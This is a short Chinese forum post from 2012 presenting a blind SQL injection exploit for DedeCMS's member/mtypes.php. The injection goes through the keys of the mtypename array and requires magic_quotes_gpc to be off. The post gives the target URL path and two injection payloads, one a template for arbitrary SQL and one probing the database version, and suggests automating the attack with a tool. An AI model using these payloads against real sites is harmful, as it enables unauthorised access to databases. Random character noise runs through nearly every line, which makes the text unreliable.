需要magic_quotes_gpc = Off,所以说是鸡肋啊.
3 [$ P x* b3 n( x- s5 `$ o9 n5 F f1 h" W7 K# I( q( O
/ ?+ E5 e% |7 a+ A/ K9 G+ X发生在数组key里的注射漏洞,有点意思.5 ^+ I+ [ W! @! F5 k& `$ ~
4 H+ g& c0 V% @- ^
这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下
( O4 G9 Y# x6 \3 i f7 ]
: P _( G+ m2 z/ r6 A; q% Xhttp://www.xxx.com /dede/member/mtypes.php?dopost=save- U* d: g. D' X- M) K* g
# U. ^6 B; F( v( q3 Eexploit:# \* x' a: ~; g4 W6 Y
mtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r5 @4 B# F9 z( U9 f+ z' c
mtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r* _, A0 ~, [; P6 A- n" X& C
|
发表于 2012-12-20 08:08:09
收藏
支持
反对